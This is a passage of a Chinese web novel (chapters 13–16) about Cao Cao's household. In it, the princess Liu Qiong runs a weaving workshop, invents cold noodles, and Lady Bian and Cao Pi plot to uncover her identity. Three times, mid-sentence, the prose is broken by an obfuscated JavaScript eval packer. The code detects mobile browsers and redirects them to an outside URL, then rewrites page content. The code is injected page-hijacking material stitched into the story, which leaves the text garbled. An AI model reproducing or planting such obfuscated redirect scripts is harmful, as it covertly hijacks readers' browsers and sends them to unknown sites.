13. 说动曹操 曹昂带着刘琼去见丁夫人,把眼前的困难和刚才商量好的法子一并说了,丁夫人倒是觉得可以办。 左右雇些女工做这纺织之事也花不了多少钱,只要注意不让她们把新式织机的事宣扬出去就是了。 更有甚者,若能因此拴住她们丈夫的心,令其只安稳在自己夫君曹操手下当兵卖命,这笔买卖就做的值了。 乱世当头,手中有兵,家里有粮,这才是最要紧的,丁夫人身为曹操的正妻还不至于连这点胸襟眼光都没有。 她很痛快答应了这个建议,然而在听到他们的第二个要求后,却怀疑自己是不是出现了幻听。 “昂儿,你刚才说什么?你想让你妹妹去操办这件事?”丁夫人惊疑不定之下,再三询问道。 “呃……”,曹昂有些卡壳,但看了一眼刘琼,接到她递来的信号后,立刻就站出来点了点头。 “不错。”他说的斩钉截铁。 “昂儿,这千金之子,坐不垂堂的规矩你不懂吗?你妹妹什么身份,怎么可以……”丁夫人皱紧眉头就要斥责。 “这都是我的主意!”眼看形势不妙,刘琼赶紧抢答。 “嗯?”她成功把两人的注意力都吸引了过去。 “姑母,您莫要生气,其实这都是我的主意。”刘琼大大方方的走到丁夫人身边解释。 “我是想着,自己过几年就要及笄了,这管家理事什么的,也该学学了,这才让哥哥带我过来跟姑母提的。”她把责任都揽到了自己身上。 “昂儿,你怎么说?”丁夫人又去问曹昂。 “孩儿……孩儿是想着,妹妹整日待在家里也是无聊,倒不如出去走走。” “至于管理那些织工们的事,就像妹妹说的那样,也算是提前练练手了,等过几年妹妹及笄了,也好说亲事啊。” 刘琼事先可没提这个,曹昂现在脑子里有点乱,只能硬着头皮附和,期盼着能够蒙混过关。 “可是昂儿,你想过没有,这么多织工们一起纺织,那场地必然不可能设在府里,可要是出去了,你妹妹的安全怎么保证啊。” 丁夫人没说同意,也没说不同意,反而提出了一个关键问题。 “我陪着她。” “他陪着我。” 两小只对视一眼后,同时给出了答案。 丁夫人看看这个,又看看那个,瞬间这心里就有数了,敢情他们是商量好了才来的。 “母亲,你就……”,曹昂被这洞察一切的眼神看的心里发虚,还以为对方不同意,岂料丁夫人突然笑了起来。 “行了,不就是想学学管家理事以及出去走走吗?这有什么,我答应就是了。” “只一样,你们两个要形影不离,这样我才安心。”说着话,她一手拉一个,给了肯定答复。 “母亲放心,孩儿一定寸步不离的守着琼儿,绝不会出什么事的。”曹昂听到这儿立刻保证道。 “就是就是,他不陪着,我就不出去,姑母放心吧。”刘琼也在一旁连连附和。 “别高兴的太早,此事若成,还得说服你父亲呢。”丁夫人提前打预防针。 “母亲一定有办法的。” “姑母一定有办法的。” 刘琼和曹昂一左一右揽着她的胳膊,异口同声的说着话。 刘琼是小女儿家,对长辈撒娇很正常,可一向以男子汉自居的儿子也破天荒的撒娇,这就很不寻常了。 特别是,他们两个看起来很有默契的样子,丁夫人觉得,自己心里那个打算,十有八九能成。 “好,为了我家昂儿和琼儿,母亲一定有办法。”最后丁夫人点了点头,并故意说了一句模棱两可的话。 “那可真是太好了。” 而在一旁的刘琼,自是听出丁夫人自称的变化,也猜到了些隐含的小心思,但她却面不改色,依旧笑盈盈的。 而曹昂见她这样欢喜,也被其情绪感染,脸上也满是笑意。 明明房间里的三个人都在笑着,可惜只有曹昂自己是心口如一的。 但这不重要,重要的是,每个人都看到了自己想看的,这就足够了。 丁夫人性格爽朗,办事利落,曹操一回府,她就把人请来了正院,趁着夜深人静跟他说了说。 曹操听自家妻子前半段,想招募士兵们的家中女眷上工织布,以安军心,他还觉得这主意好极了,可听完后半段,他整个人都震惊到不行。 “夫人,我没听错吧,你是说打算把这事儿交给公主操持?”甚至再三朝她确认。 “是啊,有什么不对吗?我和公主都商量好了啊。”丁夫人点了点头。 “有什么不对吗?这不对大了去了吧。”曹操根本想不通她怎么会答应这种事的。 “就先不提公主的身份,只看这件事,它是公主一个小女儿家能操持的吗?” “再说她操持的了吗?” “说不定公主就是一时来了兴致,突发奇想而已,你还真答应给她练手啊。”曹操连连摇头,觉得这事儿一点都不靠谱。 “正是因为一时兴致,所以我才要交给公主练手的。”丁夫人却再次肯定道。 “那缘由呢?”曹操心知她不会无故放矢,也渐渐冷静下来。 “所谓一时兴致,也就是长久不了,就算把这事儿给公主操持,她也顶多出去逛几次也就罢了。” “那几十上百的女工一起织布纺纱有什么意思啊。” “去不了几回,公主就得烦了,届时我们只需要每个月把账本给公主看看也就是了。”丁夫人轻描淡写的就给出了解决办法。 “还有啊,夫君,我觉得这件事的关键不在于公主想练手,而在于她为什么想练手。”并且她很快转移了重点。 “不是说一时兴致吗?难道还有别的?”曹操疑惑的看了她一眼。 “当然有别的了,早些时候公主来跟我商量这事儿,用的理由是她过几年就要及笄,所以要提前学学管家理事,而昂儿呢,也是这个说法。” “到后来见我松口了,这孩子就再也不叫公主‘妹妹’了,反而一口一个‘琼儿’叫的亲热。” “你说他们都这样了,那我还能怎么办?只能答应啊。”丁夫人摆出一副无奈的样子,实则偷偷观察着对方的神色。 “琼儿?琼儿?”曹操一连念叨了两遍,这才反应过来这是什么意思。 “这个混账东西,我是让他去看顾公主的,他怎么敢唐突人家?”气的他在原地来回张望。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656115|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁夫人一看就知道,他这是在寻摸着什么东西顺手,一会儿好抄起来去揍儿子。 “夫君,你急什么?我话还没说完呢。”她眼疾手快上前拽住了曹操。 “这还有什么好说的?这不摆明了是这小子图谋不轨吗?” “那万年公主是什么人啊,是先帝的幼女,当今陛下唯一的姊妹,那能看上他吗?” “以往那些皇室公主,不是嫁了万户侯,那就是和权贵结亲了。” “咱们曹家祖上是阔过,可到我这辈儿,也就是个西园校尉,最近是当了太守了,可那还是看袁家的面子。” “这爵位呢,不过是个亭侯,最低一级的那种。” “家财就更别提了,若无公主给的那张图纸,没有这门买卖锦缎的生意,我连兵将们的军饷都发不起。” “你说说,公主能看得上咱们家吗?”曹操掰着手指头细数家里的情况,怎么也不肯相信是两情相悦,一门心思认定是自家小子的错。 “公主怎么就不能看上咱们家了?或许公主就不图什么爵位钱财,就只图我们儿子人好呢。” “昂儿文武双全,又生的一表人才,待人接物也从来没出过差错,公主见了哪有不喜欢的?” 他的话里都是数落,丁夫人不爱听,张口就开始反驳,还细数儿子的优点,试图说服他。 “昂儿是我的儿子不错,他什么样子我也最清楚,可是就算他千好万好,这门第家世不匹配,那就是不匹配。” “况且昂儿并非是你亲生,乃是庶出之子,就是公主肯下嫁,届时陛下和宗亲们知道了,也是断断不会答应的。” 她光想美事,曹操却一点也不看好,因为他知道刘琼和曹昂的身份悬殊,成功结亲的可能简直微乎其微。 “这个还不容易?夫君救了公主,又得了玉玺,等将来陛下逃脱那董贼的控制,重振朝纲,夫君再把公主和玉玺还给陛下,还愁当不上陛下身边的红人吗?” “夫君自己不也说了,万年公主乃是陛下唯一的姊妹,必然心生怜爱,又有保护玉玺这一桩大功劳,再得公主亲自去游说,这婚事必定十拿九稳啊。” “至于说昂儿是庶出之子嘛,这也好解决,届时夫君和陛下说定了婚事,就把昂儿记在我名下不就得了?” “如此一来,那就是两全其美,再无差错,夫君以为呢?”丁夫人喋喋不休的说着这桩婚事的可行性,甚至方方面面都考虑到了。 可曹操听进去的只有一句,那就是‘献出公主和玉玺’。 说实在的,他心里不太想献出去啊,特别是知道公主身上颇有神异的时候,更别提传国玉玺这种世所罕见的重宝了。 可是他自认是大汉忠臣,此时留下公主和玉玺可以说是形势所迫,可将来陛下若真的脱困而出,掌握大权,那他就再也没有任何理由推脱了。 届时玉玺肯定要回到陛下手中,这个绝对留不住。 倒是公主的去留,可以谋划一番。 “这件事我要好好想想,”思虑再三后,曹操还是松了口,“切记不可外传。”他不放心,又嘱咐了一句。 “夫君放心就是。”而丁夫人听到这儿,就知道这是说动他了,心下自然欢喜非常,连连点头答应着。 14. 看出端倪 有丁夫人的支持和曹操的默许,这给士兵家眷办的纺织工场到底还是开起来了,女工们每天统一上机织布。 做不来这个细致活儿的女眷们,则被分配去照顾孩童,兼顾不了家里和工场的可以把孩童暂时寄放在她们那里,等下工了再接回家即可。 这两种工作都有银钱可拿,还能贴补家用,比整日做家庭主妇要强。 特别是,工场里用的是新式织机,比女眷们在家里用的简陋版不知强上多少,织布纺纱也不怎么费力气,众人都挺喜欢的。 但再喜欢也没有说想偷着弄回家的,除了不敢,还有就是不能。 毕竟,这可是太守曹操家的工场,是他们东郡最大的官儿家里的买卖,就连自家男人也在太守手底下当兵,等于说身家性命都系于其上。 这些女人们虽然没读过书,也不识字,但什么该做,什么不该做还是分得清的。 更何况如今做了女工,工钱也毫无克扣,因为每每到这种时候,刘琼和曹昂都会亲临工场监督,那底下的人自然不敢弄鬼。 这些女工们又听说,他们就是太守家的大公子和女公子,且这工场的事是由女公子一手操办,众人自是感恩戴德。 刘琼不只是发工钱的时候去,还时不时就去工场看看,并与女工们进行交流,询问她们家中情况,若是有特别困难的,她也会拜托曹昂去解决。 一来二去,众人对这位女公子的好感自是一路走高。 乱世当头,她们能遇到这么一个待人和善,不克扣工钱,还给解决问题的主家,那心里自是万分敬重。 刚开始的时候,女工们还有些拘谨,但接触的多了,就知道女公子是个貌美心善的小姑娘,也都熟络起来。 敬重自然不会少,只是不似最初那般诚惶诚恐了。 尤其是那些受过女公子恩惠的女工们,时常从家里带些新鲜的果子,刚收的蔬菜,亦或者鸡蛋鸭蛋什么的送给她。 虽然刘琼根本不缺这些,但也知道这就是她们能拿出来的最好的东西了。 而且这都是大家的一片心意,她也不好拒绝,便让慧儿一并收下,但也不能白拿,好歹给几个银钱,慧儿自是点头应下。 又是寻常的一天,刘琼和曹昂从工场里巡视回来,不时相互交流着,眼看到了用膳的时候,慧儿很快去吩咐准备饭食,没一会儿就带着食盒回来了。 房间里,刘琼和曹昂相对而坐,慧儿和其他侍女一起为他们奉上各种菜品。 因为天气炎热,多以清淡为主,先上腌制的梅干等开胃小食,然后再上正经菜肴。 有凉拌的莲藕葵菜,竹笋清炖的汤羹,配着酱汁的白切羊肉,以及用荷叶包裹做的蒸鱼。 主食则是汤饼,说是汤饼也不完全正确,因为汤饼类似热汤面,可慧儿端来的这个,却更像后世的冷面。 其实这东西做法和汉代的汤饼没什么大区别,都是用小麦粉和成面团后,再将其设法做成宽条状,接着下锅用滚水煮,熟了后捞出来。 唯一不同的是,汤饼要辅以热汤,可刘琼却特地要求慧儿吩咐下去,不要汤,还要用冰水过一遍冷却,然后直接端上桌,辅以菜肴一起食用。 说来也是这炎炎夏日太惹人讨厌,逼得刘琼不得不提前把冷面发明出来。 她犹记得,冷面这种东西好像最早是出现在唐朝的,那时还不叫冷面,而是叫冷淘,种类和佐料都比现在这种丰富多了。 但如今毕竟是东汉末年,不比唐朝繁盛又开放,有的吃就不错了,反正刘琼挺喜欢。 做冷面的小麦粉应该是磨得特别细,煮面的师傅手艺也不错,吃起来筋道又不粘牙,还有满满的香气。 不止她觉得好吃,就连曹昂也是如此,一连吃了两碗还意犹未尽。 “倒是没看出来,你还是个大肚汉呢。”刘琼吃饱后,就捧着一杯冰镇蜜水等着,见他这么能吃,不由得打趣了一句。 “这有什么?若在军中,我吃的更多呢。”曹昂却不以为意,“再来一碗。”他示意慧儿帮忙盛面,慧儿却去看刘琼。 “去吧,这次少盛些。”刘琼笑了笑道。 “是,女公子。”慧儿行了一礼后就去准备了。 “干嘛少盛些啊,我吃不饱怎么办?”曹昂不太情愿。 “这不是怕你积食吗?待会儿就休息了,当心撑得睡不着。”刘琼解释道。 “诶呀,我不怕,好妹妹,你没听过那句话吗?‘半大小子,吃穷老子’,我还是少年郎呢,自然吃的多了,况且咱们家又不是吃不起。”曹昂拍了拍胸脯。 “这话说的没毛病。”刘琼见他说自己饭量大,还一副理所当然的样子,不由得被逗笑了。 “不过提起这些,我倒想起一桩事来。”但她话头一转。 “早先去工场探望女工们时,我见常有人带着一包一包的饭食,打开是蒸熟的麦粒,中间还夹杂着些麦糠。” “都不用尝,我就知道肯定不好吃,可女工们却吃的津津有味,你说,这是为什么呢?”刘琼看了他一眼问道。 “那自然是因为她们吃惯了呗。”曹昂不假思索的回答道。 “可同样是小麦,蒸成麦饭不好吃,磨成细粉再做成汤饼,便美味许多,何以老百姓不这么做呢?”刘琼又问。 “好妹妹,这你就有所不知了,把麦粒磨成细粉的话,多少会有损耗。” “且石磨也不是家家都有,若要用别家的石磨,那就少不得要给人家一些面粉。” “可这些普通百姓日日奔波,也不过为了填饱肚子而已,又怎么舍得为了口腹之欲而减少关键时刻能救命的粮食分量呢。” “就连在军中给兵将们用小麦做饭时,也多以蒸食为主。” “若要做面饼,需要把小麦磨成粉的话,那也必有粮草官看着,干活儿的人断不敢偷斤少量的。”曹昂又拿军营里的口粮制作举例。 “再者,若要吃一碗汤饼,不止是磨成粉,还要烧热水煮呢。” “对于老百姓来说,柴火的损耗也是一项大的支出,几项叠加下来,那自然吃麦饭更合算。”他条理清晰的把问题说明白。 “如此,倒是我不识人间疾苦了。”刘琼闻言,叹了一口气。 “怎么会呢?这柴米油盐酱醋茶的重要性,本就是当家理事的人才会知道的,妹妹还小,且养在深闺中,不知道才是正常的。” “至于我,也不过是在军营里混了两天,又偶尔和兵士们谈论才清楚这里头的门道。” “不然也是个睁眼瞎,只知其然,而不知其所以然呢。” “妹妹别急,你现在不是正在学怎么管家吗?所谓熟能生巧,说不定学着学着就精通了。”曹昂见她有些沮丧,赶紧软下语气宽慰。 “精通了又如何?反正也没有一个家要我来管。”刘琼却摆摆手。 “怎么没有?咱们家不就是你在管吗?”曹昂脱口而出就是一句。 “咱们家?咱们家?”刘琼一连重复了两遍,“哪个跟你是咱们?我的好哥哥,你真把我当你妹妹了不成?” “别说我不是你妹妹,就算我真的是,那也是姓刘的,如何跟你是一家?”她似笑非笑的看了他一眼。 “我,我……”,曹昂当即就涨红了脸,支支吾吾半天,也说不出个所以然。 明明房间里放了冰鉴,又吃的冷食,已经很凉爽了,可他还是在极短的时间内就变得满头大汗。 “哈哈哈哈,”眼看他这幅模样,刘琼实在没忍住笑出了声。 慧儿把冷面端回来时,就看刘琼正笑的前仰后合,而曹昂却仿佛如坐针毡。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656116|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女公子,大公子,这是发生何事了?”慧儿看看这个,又看看那个,有些关切的询问道。 “没事没事。”曹昂故作镇定的连连摇头。 “是啊,没事,他只是太热了而已。”刘琼喝了一口冰镇蜜水,笑着附和道。 “太热了?”慧儿顿时满头问号,以她的感觉而论,房间里明明很凉爽啊。 “是啊,太热了,刚才我们说起老百姓用不起石磨的事,他正摩拳擦掌要出一份力呢,如此,可不就是心热眼热吗?”刘琼指着曹昂,半是玩笑,半是认真道。 “你说是不是啊,我的好哥哥。”她故意加重了唤他的称呼。 “是啊,是啊,就是这么回事,我正要去办事呢。”曹昂被她逗得更觉脸上发烫,赶紧抬手擦了擦汗,连连点头附和,并且起身就要走。 “再如何办事也不急在一时啊,大公子,吃完了面再去吧。”慧儿手里还端着碗。 “不了,不了,还是办事要紧。”曹昂却走的更快了,不过几个呼吸的功夫,人就不见了。 “女公子,这面厨房还煮了不少备着,您看这……”慧儿又去看刘琼。 “你和其他人分了吧,左右别浪费了就是。”刘琼大方道。 “诺。”慧儿自是点头应下。 不提他们两个之间的小插曲,只说这冷面倒是很快风靡曹府,主子们都喜欢,下人们偶尔也能分到一些。 其实这也难怪,天气这么热,谁不愿意吃点冷食啊,也因此,等曹操从前线回来休整,被宠妾卞夫人请去院中用饭时,也就吃到了这个。 “这东西好像是汤饼。”曹操看了一眼,有些不确定道。 “夫君好眼力,可不就是汤饼吗?不过是用冰水过了一遍,说来这法子还是女公子提的。”卞夫人笑着为曹操布菜,并顺势解释了这东西的来历。 “嗯,味道不错,爽口下饭。”曹操一听这句,当即端起碗里吃了一口,又佐菜一起吃,咽下后,连连点头。 “汤饼自古有之,可也没谁能想出这种法子,令其夏日也能食用,可见琼儿聪慧。”他还不忘了夸赞刘琼。 “是啊,女公子聪慧,妾身虽然不曾出门,但也偶尔听到下人们议论,说是女公子把那纺织工场管的井井有条呢。” “只是,还有些话,听着有些不妥。”卞夫人先是顺着他说,然后话头一转,就开始为下文做铺垫。 “什么话?”曹操一边吃面吃菜,一边问道。 “妾身听人说,自女公子来后,大公子便时常与其在一起,虽不至于起居坐卧形影不离,但也差不太多。” “如今大公子的年岁也不小了,且夫君一向看重大公子,可现下,他却与女公子这般亲近,只怕将来说亲的时候,会有些妨碍。” “事关大公子的前程,妾身想着,略微谨慎一些也是应该的。” 卞夫人说的委婉,但意思却让人听的分明,无非就是说刘琼这个孤女配不上曹昂。 “这你大可不必担忧,这天下的好儿郎只有配不上琼儿的,还没有说,她嫁不得哪个的。”然而曹操却不以为然。 “其实若昂儿真能娶琼儿为妻,倒是我们曹家的福分呢。”甚至还间接表露了对两人之事的赞同。 “昂儿的事自有他母亲操心,你只需照顾好丕儿他们就是。” “行了,我饱了。”话到此处,曹操也意识到自己可能失言了,放下碗筷后,又拿起帕子擦了擦嘴。 “都这么晚了,夫君还要去哪里啊。”看出他有离开的意思,卞夫人赶忙挽留。 “回书房看军情奏报。”但曹操却没接她的话茬儿,随口给了个理由,便抬脚离开了这里。 而他的这种表现,还有刚才言语中的意思,反而让卞夫人更加确认刘琼的身份有异,心下也暗自盘算起来。 15. 轮番试探 曹操深夜离开了宠妾卞夫人的院落,这消息很快就在下人们口中流传,众人暗地里添油加醋,都在猜测她是不是得罪了主君,以至失宠了。 而不出意外的,这些流言也传进了小曹丕的耳朵里,他很担忧母亲,天刚蒙蒙亮就跑来拜见。 小曹丕急匆匆转过屏风,去寻卞夫人,却见她正在坐在织机前织锦。 “母亲,孩儿听说父亲昨夜拂袖而去,似有动怒之色,何以您却如此冷静呢?”看到这一幕,小曹丕非常疑惑。 “你父亲昨夜离开,是为公务,他的确稍有不悦,但却并未动怒,既如此,我又为何不冷静?”卞夫人依旧不紧不慢的整理丝线,在锦缎上勾勒出图案。 “可那些下人们都说……”,小曹丕指向外面。 “众人都说,那便是真的吗?丕儿,你素来爱读书,岂不闻三人成虎的故事?” “街市上本无虎,但三人接连传言,众人便信以为真,而事实却并非如此。” “可见谣言会影响一个人的判断,使其做出错误的选择。” 卞夫人手上不停,继续织锦,并语重心长的教导儿子。 “母亲说的是,今日孩儿的确太冲动了。”小曹丕听到这儿,也渐渐冷静下来。 “你的冲动,一半来自对你父亲可能动怒的恐惧,而另一半,则来自对我们母子处境的担忧,母亲都能理解。” “现下知道这些都是子虚乌有,你可安心些了?”卞夫人讲了道理后,又软下语气宽慰。 “孩儿只是,只是……”,然而小曹丕却紧握衣袖,仿佛还有些话想说。 “丕儿,你过来。”卞夫人见状,放下手里的梭子,招呼道。 “母亲。”小曹丕乖乖的走到她面前站定。 “你是不是还在担心你父亲不高兴,甚至可能迁怒我们啊。”知子莫若母,卞夫人只一眼就看出了他的想法。 “孩儿刚才听母亲说,昨夜父亲的确有些不悦。”小曹丕抿了抿嘴唇。 “他不悦是真,但不是因为你我,而是因为他自己。”卞夫人却笑了笑。 “因为他自己?”小曹丕不明所以。 “前些日子你不是一直追问我,你父亲是不是更喜欢你大哥吗?昨夜我出言试探了一番。”她如是说。 “那结果呢?父亲怎么说?”小曹丕迫不及待的追问。 “我没问出结果,不过却问出了近来他偏爱你大哥的缘由,所有的关键,都在这东西的主人身上。”说着,她拍了拍身前的新式织机。 “这东西不是正院夫人的嫁妆吗?母亲的意思是,因为大哥是正院夫人养大的,所以父亲才偏爱他?”小曹丕有些不确定道。 “丕儿,这话你自己信吗?” “你大哥生而丧母,自幼便养在正院夫人膝下,可也不见你父亲如何爱屋及乌。” “但为何他如今却这般看重你大哥,正院夫人又恰好在你父亲缺钱粮的紧要关头,拿出了这所谓的嫁妆,解了燃眉之急呢?” “你想一想,再想一想,到底是从什么时候开始,又是因为谁,你父亲才这样的。”卞夫人并没有一下子说出答案,而是引导他自己思考。 “是表妹,是大哥的那个表妹进府之后!”种种线索串联在一起后,小曹丕终于想到了关键。 “不错。”卞夫人点了点头。 “可是这也不对啊,大哥的表妹只是个孤女。” “就算是她拿出了这织机帮了我们家一把,父亲也不至于会为了一个外人而改变对大哥的态度吧。”但很快小曹丕就提出了质疑。 “难道说……”,突然,他不知想到了什么,又有些不确定的看向自己的母亲。 “问题就出在了这姑娘的身份上。”卞夫人见状就知道他猜到了,笑了笑后道。 “你父亲昨晚不悦,也是因为他说漏了嘴。”她又补充了一句。 “那对方到底是什么人啊。”小曹丕非常好奇。 “具体情况还不清楚,但有一点可以肯定,她的身份一定高过你大哥,甚至高过你父亲。” “不然他不会说,若两人结亲是我们曹家的福分。”卞夫人十分笃定。 “对方的身份比父亲还高?若大哥真娶了这样的妻子,那孩儿将来还有什么指望?”小曹丕一想到这儿就急得团团转,再一次乱了阵脚。 他虽然才七八岁,但生在贵族之家,平日耳濡目染,难免早熟一些,且他母亲又受宠,他自然觉得自己也有机会继承父亲的一切。 特别是,所有的兄弟和他一样都是庶出的时候。 “丕儿?丕儿!”可眼眼看他焦急万分,惶恐不安的模样,卞夫人就皱紧了眉头。 一连唤了他两声还不见回应,她干脆直接上手捏住了对方的下巴。 “母亲?”小曹丕总算回神了。 “丕儿,你记住,慌乱解决不了任何问题,我们必须往前看。” “别说你大哥和那小姑娘的事八字还没一撇,就是真定下来了也不要紧。” “要紧的是你父亲的态度。” “如果他只是想要一个出身高贵的儿媳,那么多半不会在意是哪个儿子迎娶。” “所以,一切皆有可能,明白吗?”卞夫人挑了挑眉,然后放开了他。 “那依母亲的意思,孩儿该怎么做?不然,请母亲向父亲进言?” 小曹丕听到这儿,总算再次冷静下来,只是他虽听懂了她的话,但接下来该如何还是毫无头绪,竟是把希望寄托在了她身上。 “此事很可能涉及整个曹氏家族的前程,你父亲是不会愿意听到我一个妾室开口的。”然而卞夫人却摇了摇头。 “但你却不同,你和你大哥都是他的儿子,他绝不会厚此薄彼。” “而现在的当务之急也不是什么婚事,而是弄清楚那小姑娘的真实身份。” “既然你父亲特地指派你大哥跟随她左右,那么十有八九,他也是知情的。” “至于接下来该怎么做,就不用母亲教你了吧。”她给了儿子一个眼神。 “孩儿明白了。”小曹丕想了没一会儿,就下定决心似的点了点头。 母子两个对视一眼,彼此心照不宣,此事的突破口,就在曹昂身上。 这么多年的相处下来,曹昂的性情如何,他们也是了解的。 虽然他们兄弟不是一母同胞,但曹昂这个长兄素来待几个弟弟不错,只要打着兄弟情深的旗号去寻对方,多半不会遭到拒绝。 而事实也果然如此,在曹操外出打仗的时候,曹昂作为家里的长子,自觉有义务也有能力帮助并保护自己的家人们。 当小曹丕拿着书简诚心诚意的向他这个兄长请教时,他根本不会拒绝,只是次数多了,难免会误了去陪刘琼的时辰。 刘琼那边听曹昂每每迟到都以弟弟求教为借口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656117|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心下难免不悦,特别是有一天还正赶上去工场给女工们发工钱。 虽说后来并没误了事,但到底也让人心里不痛快,刘琼特地把曹昂叫到了自己坐的马车里,在回府的路上问起来。 “你那弟弟倒是勤奋好学,只是不知他除了你这个兄长,就没别的先生教导吗?”刘琼皱着眉头,显然有点不高兴。 “也是有的,只是丕儿还小,才七八岁,那些先生又只会照本宣科,他听不懂也属正常啊。”曹昂为二弟说了一句好话。 “丕儿?曹丕吗?”岂料刘琼一听这句,眉头皱的更紧了。 之前她一直没有细问过曹昂,他口中说的弟弟是哪个。 因为她记得很清楚,无论是史书,还是演义,其记载都是说曹昂是曹操的长子,而曹丕作为次子,至少比曹昂小十岁,因为年龄悬殊,故而她并没有在意过这点。 可现在一听,刘琼立刻就意识到了问题,这才有此一问。 “是啊,曹丕,怎么了?”曹昂不明白她为何听到自己弟弟的名字反应这么大。 “没怎么。”刘琼思虑再三后,还是摇了摇头。 “只是觉得用‘丕’字为名,挺少见的。”她避重就轻道。 “说来丕儿的降生,也颇有些神异。” “犹记得我小时候听母亲讲,二弟出生那日,有青色云气于上空显化,久久不散。” “众人都说是吉兆,父亲这才为二弟取名为‘丕’,意为‘宏大’,盼他将来能够建功立业,名垂青史呢。” 曹昂还以为她好奇,便兴致勃勃的跟她说起小曹丕的事情。 ‘他可不就是建功立业,名垂青史了吗?踩着大汉四百年基业,逼着我弟弟禅位给他,这才成就了一代魏文帝。’ 曹昂在那儿各种为他二弟自豪,可刘琼心里却在各种吐槽。 本来以为短时间内不用考虑那么多的,可现在事实和记忆出现了偏差,曹丕居然比预计大了这么多,那她就不得不提前提防起来了。 毕竟,无论是史书文献,还是演义小说里的曹丕,似乎都不是省油的灯。 虽然现在她还没有真正接触过这个世界的曹丕,但多留个心眼儿总是没错的。 特别是她听到曹昂说着说着就来了一句。 “丕儿似乎对你挺好奇的,还想让我带他来见你,说是之前偶然遥遥一望,觉得你特别面善。” “又说你是我的表妹,那也就是他的表姐,咱们又是同一辈的亲戚,总该相互熟悉熟悉。” “只是我想着,你不爱见外人,便也就没贸然应承,好妹妹,你看,要不要找个机会见一下?”曹昂有些小心的问道。 其实他能当面讲出这句话,就说明小曹丕已经说动了他,只是他自己还没有意识到这点,但刘琼却一眼就看出来了。 这曹家这么多人,估计也就他一个心口如一的。 明明大家都在或多或少的利用他,可偏偏他却诚心诚意的对待所有人,每每想到这儿,刘琼就觉得又好笑,又心疼。 “好啊,正巧我也想看看,你这个生而不凡的二弟是什么样的。”于是乎,她点了点头,一语双关道。 “那太好了,丕儿知道了一定会很高兴的,他都求了我好几次了。”曹昂没听出她的言外之意,反而又暴露出一个关键信息。 “那我就更该见见他了。”刘琼面上依旧在笑着,但心里却提高了警惕。 16. 居安思危 为了不至于被打个措手不及,回府之后,刘琼就立刻缠着曹昂又问了许多有关小曹丕的事,当然,这其中也少不得提及对方的母亲卞夫人。 “你怎么不说了?快说啊,你弟弟的母亲是个什么样的人啊?”见他犹豫,刘琼有些不解的催促道。 “好妹妹,卞夫人虽然只是我父亲的妾室,但毕竟也是长辈,我等作为晚辈实在不该议论对方的。”曹昂有些为难。 他从来都是知礼守礼的君子,那么她现在的要求在他看来,自然有些出格,也难怪他之前犹豫半晌也不肯开口了。 “你是她的晚辈不假,可我又不是。” “再说了,我只是要你说个大概,让我心里有个底儿。” “若将来我们两人见了面,也好相处,又不是要你说她的坏话,讲她的是非,你怕什么啊。”刘琼差点被气笑了。 “可是……”,曹昂还有些犹豫。 “没有可是,我命令你说!”刘琼却抬手制止了他。 曹昂眼看她连‘命令’二字都搬了出来,就知道这是在动用公主的特权了。 而如果是公主在命令自己的话,那这走的就是君臣关系,自然凌驾于家庭伦理之上。 思及此处,曹昂的负罪感也减少许多,或者说,通过她的提醒,他逻辑自洽,说服自己了。 “那好吧。”于是乎,他开口了。 “卞夫人的身份你已经知道了,那我就说说其他的吧。” “卞夫人平素不喜奢华,简朴克己。” “我记得有一次父亲为家中女眷带回许多珠宝首饰,人人都去挑那灿烂夺目,价值不菲的,唯有卞夫人与众不同,只挑了几件中等之物。” “当时父亲好奇的问她为何如此,她回答道,‘取其上者为贪,取其下者为伪’,父亲甚为赞许。” “我那时还小,不太明白这是什么意思,便去询问父亲,他只说卞夫人是个进退有度,安分守己之人,至于旁的就没了。”曹昂先给出了评价,又举例说明。 “那后来呢?”刘琼继续问。 “后来,父亲就常常去卞夫人那里,许是欣赏对方的品格吧。”说到这儿,曹昂有些不自在。 “仅仅是欣赏品格吗?”然而刘琼却挑了挑眉。 “卞夫人生的是不是很美啊。”她突然说道。 “你又没见过她,怎知她生的很美?”曹昂惊讶的反问。 “这还不容易猜吗?俗话说,‘娶妻娶贤,纳妾纳色’,我父亲便是这样,所谓上行下效,那你父亲,也必然不会例外。”刘琼摇了摇头。 “这……”曹昂一时语塞,不知如何回答。 其实她最后这句,颇有以偏概全的意思,若要驳斥,也不是不可。 只是刘琼先拿先帝做了例子,如此一来,曹昂倒不好开口了。 这不只是因为臣子不得私自议论君主过失的规矩体统在约束着他,更是因为先帝刘宏的荒唐事迹根本没法洗白啊。 